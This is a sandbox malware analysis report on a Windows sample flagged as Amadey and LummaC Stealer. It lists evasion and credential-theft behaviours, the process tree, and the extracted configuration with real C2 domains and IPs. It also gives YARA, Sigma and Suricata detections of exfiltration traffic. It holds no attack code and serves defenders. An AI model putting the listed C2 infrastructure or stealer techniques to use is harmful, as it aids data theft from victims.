Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1578048
MD5:	b48526e3264a9ebf9ae221df76f8511e
SHA1:	51141f95d23355a1891b88e470b2c9a3e44ba92e
SHA256:	42ee113ccf756a8e8950cb81a36558e707f20f59aef11401ca08269cce065c0f
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Creates multiple autostart registry keys

Drops large PE files

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Hides threads from debuggers

Leaks process information

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6264 cmdline: "C:\Users\user\Desktop\file.exe" MD5: B48526E3264A9EBF9AE221DF76F8511E)

skotes.exe (PID: 2676 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: B48526E3264A9EBF9AE221DF76F8511E)

skotes.exe (PID: 6512 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: B48526E3264A9EBF9AE221DF76F8511E)

skotes.exe (PID: 5388 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: B48526E3264A9EBF9AE221DF76F8511E)

5d7a2e45de.exe (PID: 5984 cmdline: "C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe" MD5: A0D6C9D4D75289FFA8F7DBDA90E3FCE6)

bb3768c743.exe (PID: 6828 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

conhost.exe (PID: 5228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

bb3768c743.exe (PID: 1088 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 4488 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 1492 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 4156 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 2304 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 380 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 1056 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 5440 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 5676 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 6812 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 2864 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 5888 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 6948 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 6072 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 5824 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 5944 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 5168 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 4864 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 6600 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 4340 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 7132 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 7024 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

bb3768c743.exe (PID: 7036 cmdline: "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: LummaC

{"C2 url": ["energyaffai.lat", "sustainskelet.lat", "aspecteirs.lat", "discokeyus.lat", "grannyejh.lat", "pancakedipyps.click", "rapeflowwj.lat", "necklacebudi.lat", "crosshuaht.lat"], "Build id": "FATE99--test"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2161576983.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000003.2456370411.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000003.2229367534.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.2227080376.0000000005350000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.2271894290.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.2271577590.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author
3.2.skotes.exe.fb0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.fb0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.5d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1017425001\43ac536e27.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5388, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\43ac536e27.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1017425001\43ac536e27.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5388, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\43ac536e27.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:09:35.933842+0100	2028371	3	Unknown Traffic	192.168.2.6	49875	104.21.91.209	443	TCP
2024-12-19T08:09:38.387309+0100	2028371	3	Unknown Traffic	192.168.2.6	49883	104.21.91.209	443	TCP
2024-12-19T08:09:41.055437+0100	2028371	3	Unknown Traffic	192.168.2.6	49893	104.21.91.209	443	TCP
2024-12-19T08:09:43.759977+0100	2028371	3	Unknown Traffic	192.168.2.6	49900	104.21.91.209	443	TCP
2024-12-19T08:09:45.864533+0100	2028371	3	Unknown Traffic	192.168.2.6	49908	172.67.179.109	443	TCP
2024-12-19T08:09:46.744626+0100	2028371	3	Unknown Traffic	192.168.2.6	49911	104.21.91.209	443	TCP
2024-12-19T08:09:47.895092+0100	2028371	3	Unknown Traffic	192.168.2.6	49917	172.67.179.109	443	TCP
2024-12-19T08:09:49.840267+0100	2028371	3	Unknown Traffic	192.168.2.6	49921	104.21.91.209	443	TCP
2024-12-19T08:09:51.095485+0100	2028371	3	Unknown Traffic	192.168.2.6	49926	172.67.179.109	443	TCP
2024-12-19T08:09:53.499845+0100	2028371	3	Unknown Traffic	192.168.2.6	49932	104.21.91.209	443	TCP
2024-12-19T08:09:53.500918+0100	2028371	3	Unknown Traffic	192.168.2.6	49933	172.67.179.109	443	TCP
2024-12-19T08:09:56.317658+0100	2028371	3	Unknown Traffic	192.168.2.6	49939	172.67.179.109	443	TCP
2024-12-19T08:09:57.080927+0100	2028371	3	Unknown Traffic	192.168.2.6	49947	104.21.91.209	443	TCP
2024-12-19T08:09:59.020350+0100	2028371	3	Unknown Traffic	192.168.2.6	49950	172.67.179.109	443	TCP
2024-12-19T08:10:02.296957+0100	2028371	3	Unknown Traffic	192.168.2.6	49962	172.67.179.109	443	TCP
2024-12-19T08:10:05.127635+0100	2028371	3	Unknown Traffic	192.168.2.6	49977	172.67.179.109	443	TCP
2024-12-19T08:10:06.101185+0100	2028371	3	Unknown Traffic	192.168.2.6	49982	172.67.179.109	443	TCP
2024-12-19T08:10:07.162858+0100	2028371	3	Unknown Traffic	192.168.2.6	49987	172.67.179.109	443	TCP
2024-12-19T08:10:10.430847+0100	2028371	3	Unknown Traffic	192.168.2.6	49995	172.67.179.109	443	TCP
2024-12-19T08:10:13.011421+0100	2028371	3	Unknown Traffic	192.168.2.6	50005	172.67.179.109	443	TCP
2024-12-19T08:10:15.601738+0100	2028371	3	Unknown Traffic	192.168.2.6	50012	172.67.179.109	443	TCP
2024-12-19T08:10:18.552911+0100	2028371	3	Unknown Traffic	192.168.2.6	50033	172.67.179.109	443	TCP
2024-12-19T08:10:22.728578+0100	2028371	3	Unknown Traffic	192.168.2.6	50057	172.67.179.109	443	TCP
2024-12-19T08:10:27.651426+0100	2028371	3	Unknown Traffic	192.168.2.6	50069	172.67.179.109	443	TCP
2024-12-19T08:10:42.620752+0100	2028371	3	Unknown Traffic	192.168.2.6	50102	172.67.179.109	443	TCP
2024-12-19T08:10:44.961996+0100	2028371	3	Unknown Traffic	192.168.2.6	50107	172.67.179.109	443	TCP
2024-12-19T08:10:48.696506+0100	2028371	3	Unknown Traffic	192.168.2.6	50119	172.67.179.109	443	TCP
2024-12-19T08:10:50.829159+0100	2028371	3	Unknown Traffic	192.168.2.6	50134	172.67.179.109	443	TCP
2024-12-19T08:10:53.229043+0100	2028371	3	Unknown Traffic	192.168.2.6	50148	172.67.179.109	443	TCP
2024-12-19T08:10:55.400962+0100	2028371	3	Unknown Traffic	192.168.2.6	50153	172.67.179.109	443	TCP
2024-12-19T08:10:58.231654+0100	2028371	3	Unknown Traffic	192.168.2.6	50156	172.67.179.109	443	TCP
2024-12-19T08:11:00.491701+0100	2028371	3	Unknown Traffic	192.168.2.6	50157	172.67.179.109	443	TCP
2024-12-19T08:15:16.750107+0100	2028371	3	Unknown Traffic	192.168.2.6	50307	172.67.177.88	443	TCP
2024-12-19T08:15:18.809814+0100	2028371	3	Unknown Traffic	192.168.2.6	50309	172.67.177.88	443	TCP
2024-12-19T08:15:22.462101+0100	2028371	3	Unknown Traffic	192.168.2.6	50311	172.67.177.88	443	TCP
2024-12-19T08:15:24.652117+0100	2028371	3	Unknown Traffic	192.168.2.6	50313	172.67.177.88	443	TCP
2024-12-19T08:15:26.852119+0100	2028371	3	Unknown Traffic	192.168.2.6	50315	172.67.177.88	443	TCP
2024-12-19T08:15:29.203143+0100	2028371	3	Unknown Traffic	192.168.2.6	50316	172.67.177.88	443	TCP
2024-12-19T08:15:31.770564+0100	2028371	3	Unknown Traffic	192.168.2.6	50318	172.67.177.88	443	TCP
2024-12-19T08:15:34.107604+0100	2028371	3	Unknown Traffic	192.168.2.6	50319	172.67.177.88	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:09:37.144714+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49875	104.21.91.209	443	TCP
2024-12-19T08:09:39.496608+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49883	104.21.91.209	443	TCP
2024-12-19T08:09:46.672093+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49908	172.67.179.109	443	TCP
2024-12-19T08:09:49.527051+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49917	172.67.179.109	443	TCP
2024-12-19T08:09:58.164558+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49947	104.21.91.209	443	TCP
2024-12-19T08:10:05.923597+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49977	172.67.179.109	443	TCP
2024-12-19T08:10:06.811679+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49982	172.67.179.109	443	TCP
2024-12-19T08:10:08.307617+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49987	172.67.179.109	443	TCP
2024-12-19T08:10:28.497845+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50069	172.67.179.109	443	TCP
2024-12-19T08:10:43.713619+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50102	172.67.179.109	443	TCP
2024-12-19T08:10:46.463098+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50107	172.67.179.109	443	TCP
2024-12-19T08:11:01.369164+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50157	172.67.179.109	443	TCP
2024-12-19T08:15:17.544870+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50307	172.67.177.88	443	TCP
2024-12-19T08:15:19.632055+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50309	172.67.177.88	443	TCP
2024-12-19T08:15:34.919088+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50319	172.67.177.88	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:09:37.144714+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49875	104.21.91.209	443	TCP
2024-12-19T08:09:46.672093+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49908	172.67.179.109	443	TCP
2024-12-19T08:10:05.923597+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49977	172.67.179.109	443	TCP
2024-12-19T08:10:43.713619+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50102	172.67.179.109	443	TCP
2024-12-19T08:15:17.544870+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50307	172.67.177.88	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:09:39.496608+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49883	104.21.91.209	443	TCP
2024-12-19T08:09:49.527051+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49917	172.67.179.109	443	TCP
2024-12-19T08:10:08.307617+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49987	172.67.179.109	443	TCP
2024-12-19T08:10:46.463098+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50107	172.67.179.109	443	TCP
2024-12-19T08:15:19.632055+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50309	172.67.177.88	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:09:45.864533+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49908	172.67.179.109	443	TCP
2024-12-19T08:09:47.895092+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49917	172.67.179.109	443	TCP
2024-12-19T08:09:51.095485+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49926	172.67.179.109	443	TCP
2024-12-19T08:09:53.500918+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49933	172.67.179.109	443	TCP
2024-12-19T08:09:56.317658+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49939	172.67.179.109	443	TCP
2024-12-19T08:09:59.020350+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49950	172.67.179.109	443	TCP
2024-12-19T08:10:02.296957+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49962	172.67.179.109	443	TCP
2024-12-19T08:10:05.127635+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49977	172.67.179.109	443	TCP
2024-12-19T08:10:06.101185+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49982	172.67.179.109	443	TCP
2024-12-19T08:10:07.162858+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49987	172.67.179.109	443	TCP
2024-12-19T08:10:10.430847+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49995	172.67.179.109	443	TCP
2024-12-19T08:10:13.011421+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	50005	172.67.179.109	443	TCP
2024-12-19T08:10:15.601738+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	50012	172.67.179.109	443	TCP
2024-12-19T08:10:18.552911+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	50033	172.67.179.109	443	TCP
2024-12-19T08:10:22.728578+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	50057	172.67.179.109	443	TCP
2024-12-19T08:10:27.651426+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	50069	172.67.179.109	443	TCP
2024-12-19T08:10:42.620752+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	50102	172.67.179.109	443	TCP
2024-12-19T08:10:44.961996+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	50107	172.67.179.109	443	TCP
2024-12-19T08:10:48.696506+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	50119	172.67.179.109	443	TCP
2024-12-19T08:10:50.829159+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	50134	172.67.179.109	443	TCP
2024-12-19T08:10:53.229043+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	50148	172.67.179.109	443	TCP
2024-12-19T08:10:55.400962+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	50153	172.67.179.109	443	TCP
2024-12-19T08:10:58.231654+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	50156	172.67.179.109	443	TCP
2024-12-19T08:11:00.491701+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	50157	172.67.179.109	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:10:08.270049+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49988	185.215.113.16	80	TCP
2024-12-19T08:10:30.065157+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50076	185.215.113.16	80	TCP
2024-12-19T08:11:02.840734+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50159	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:09:21.563582+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49835	185.215.113.43	80	TCP
2024-12-19T08:09:28.447643+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49854	185.215.113.43	80	TCP
2024-12-19T08:09:37.142635+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49876	185.215.113.43	80	TCP
2024-12-19T08:09:46.959173+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49909	185.215.113.43	80	TCP
2024-12-19T08:09:57.038454+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49946	185.215.113.43	80	TCP
2024-12-19T08:10:04.820412+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49968	185.215.113.43	80	TCP
2024-12-19T08:10:13.247267+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50004	185.215.113.43	80	TCP
2024-12-19T08:15:17.701267+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50308	185.215.113.43	80	TCP
2024-12-19T08:16:20.235224+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50334	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:09:56.973604+0100	2054350	1	A Network Trojan was detected	192.168.2.6	49945	194.87.47.113	80	TCP
2024-12-19T08:09:58.756545+0100	2054350	1	A Network Trojan was detected	192.168.2.6	49956	194.87.47.113	80	TCP
2024-12-19T08:10:08.752679+0100	2054350	1	A Network Trojan was detected	192.168.2.6	49989	194.87.47.113	80	TCP
2024-12-19T08:16:50.889114+0100	2054350	1	A Network Trojan was detected	192.168.2.6	50349	176.53.146.212	80	TCP
2024-12-19T08:16:53.756170+0100	2054350	1	A Network Trojan was detected	192.168.2.6	50351	176.53.146.212	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:09:44.379563+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.6	51238	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:09:44.157862+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.6	52456	1.1.1.1	53	UDP
2024-12-19T08:10:03.657065+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.6	51197	1.1.1.1	53	UDP
2024-12-19T08:10:41.244173+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.6	52925	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:09:50.672965+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49921	104.21.91.209	443	TCP
2024-12-19T08:09:52.260879+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49926	172.67.179.109	443	TCP
2024-12-19T08:10:49.592464+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50119	172.67.179.109	443	TCP
2024-12-19T08:15:30.086093+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50316	172.67.177.88	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:09:58.228425+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49948	185.215.113.206	80	TCP
2024-12-19T08:10:12.168589+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49999	185.215.113.206	80	TCP
2024-12-19T08:10:20.924228+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50047	185.215.113.206	80	TCP
2024-12-19T08:10:43.041852+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50101	185.215.113.206	80	TCP
2024-12-19T08:10:52.484065+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50141	185.215.113.206	80	TCP
2024-12-19T08:11:14.586629+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50164	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

